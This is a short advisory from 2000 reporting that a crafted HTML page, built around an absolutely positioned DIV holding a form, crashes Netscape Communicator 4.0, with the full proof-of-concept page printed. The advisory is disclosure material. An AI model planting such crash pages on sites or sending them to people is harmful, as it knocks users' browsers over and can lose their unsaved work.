Crashing Netscape Communicator 4
Reported March 15, 2000 by
Ted DeWolf
VERSIONS EFFECTED
  • Netscape Communicator 4.0

DESCRIPTION

Simple HTML code can cause Netscape Communicator 4 to crash. While we are still uncertain as to the exact cause of the crash, it would appear that it pertains to an embedded DIV tag that is coded in a particular manner. 

DEMONSTRATION

The following code crashes the browser. BEFORE YOU CLICK HERE AT YOUR OWN RISK to load a page that contains this demo code, be sure to save all of your work and close any open applications.

========================


<html>
<head>
<title>Smash Netscape</title>

<body bgcolor="#000000" text="#ffffff">

<br>
<font face="Arial, Helvetica, Geneva">
<center>
<font size="5" color="#777777"><b>Smash Netscape</b></font><br>
<br>
This page will crash Netscape Communicator 4!
</center>
</font>

<div id="smashItDiv" style="position: absolute; left: 160px; top: 175px; width: 264px; high: 150px; z-index: 50; visibility: visible;">
<table border="0" cellspacing="0" cellpadding="0" width="264">
<tr>
<td align="center" valign="middle">

<form name="smashItForm">

<img name="NSCrashImg" src="X.gif" border="0">

<br>
<font face="Arial, Helvetica" size="2">Crash Netscape</font><br>
<input name="askjdfh" type="input" size="20" maxlength="100"><br>
</font>

</form>
</td>
</tr>
</table>
</div>
<br>
</body>
</html>

=============================

VENDOR RESPONSE

Netscape was made aware of this issue via their online bug reporting mechanism, however no response was known at the time of this writing.

CREDITS
Discovered by Tim DeWolf